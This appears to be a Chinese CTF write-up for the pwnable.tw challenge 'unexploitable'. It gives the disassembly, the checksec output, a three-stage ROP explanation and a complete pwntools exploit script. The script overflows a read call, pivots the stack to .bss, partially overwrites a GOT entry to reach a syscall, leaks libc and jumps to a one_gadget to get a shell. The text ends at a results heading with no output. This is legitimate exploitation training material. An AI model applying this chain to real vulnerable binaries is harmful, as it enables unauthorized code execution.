程序代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x400544 <main>: push rbp
0x400545 <main+1>: mov rbp,rsp
=> 0x400548 <main+4>: sub rsp,0x10
0x40054c <main+8>: mov edi,0x3
0x400551 <main+13>: mov eax,0x0
0x400556 <main+18>: call 0x400450 <sleep@plt>
0x40055b <main+23>: lea rax,[rbp-0x10]
0x40055f <main+27>: mov edx,0x100
0x400564 <main+32>: mov rsi,rax
0x400567 <main+35>: mov edi,0x0
0x40056c <main+40>: mov eax,0x0
0x400571 <main+45>: call 0x400430 <read@plt>
0x400576 <main+50>: leave
0x400577 <main+51>: ret
500pts,程序简单粗暴,只有一个read,但明显有溢出。
checksec
1
2
3
4
5
6
7
[*] '/home/b0ldfrev/un3xp10itabl3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞利用
第一段payload完成溢出,并调用read将第二段payload写入bss段中,同时利用gad2的pop rbp,ret到leave ret将栈迁移到bss段上。
第二段payload再次调用read,传入1byte的数据,控制返回值 rax=0x1 (write syscall)的同时,完成修改GOT表中read的LSB变为syscall。利用syscall调用write泄漏sleep的地址,计算出onegadget地址,利用gad2的pop rbp构造出程序正常执行流程的rbp 校正与rsp差值,ret到lea rax,[rbp-0x10]
,再次完成溢出。
第三段payload,溢出到one_gadget.
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(os='linux', arch='amd64')
p=remote("chall.pwnable.tw",10403)
read_got=0x601000
read_plt=0x400430
sleep_got=0x601010
bss=0x601028
gad1=0x4005e6
gad2=0x4005d0
rop1=p64(gad1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0x0)+p64(bss)+p64(0x110)+p64(gad2)+"e"*0x10+p64(bss)+"e"*0x20+p64(0x400576)
sleep(3)
raw_input()
p.send("a"*24+rop1)
rop2= p64(0)+p64(gad1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0x0)+p64(read_got)+p64(0x1)+p64(gad2)+"e"*0x38
rop2+= p64(gad1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0x1)+p64(sleep_got)+p64(0x8)+p64(gad2)+"e"*0x10+p64(0x601148)+"e"*0x20+p64(0x40055b)
p.send(rop2)
sleep(1)
p.send("\x7e")
sleep=0xcb680
libc_base = u64(p.recvuntil('\x00',drop=True).ljust(0x8,"\x00"))-sleep
print "libc_base : " + hex(libc_base)
one_offset=0x4526a
one_gadget=libc_base+one_offset
p.send("a"*24+p64(one_gadget)+"\x00"*0xe0)
p.interactive()
运行结果: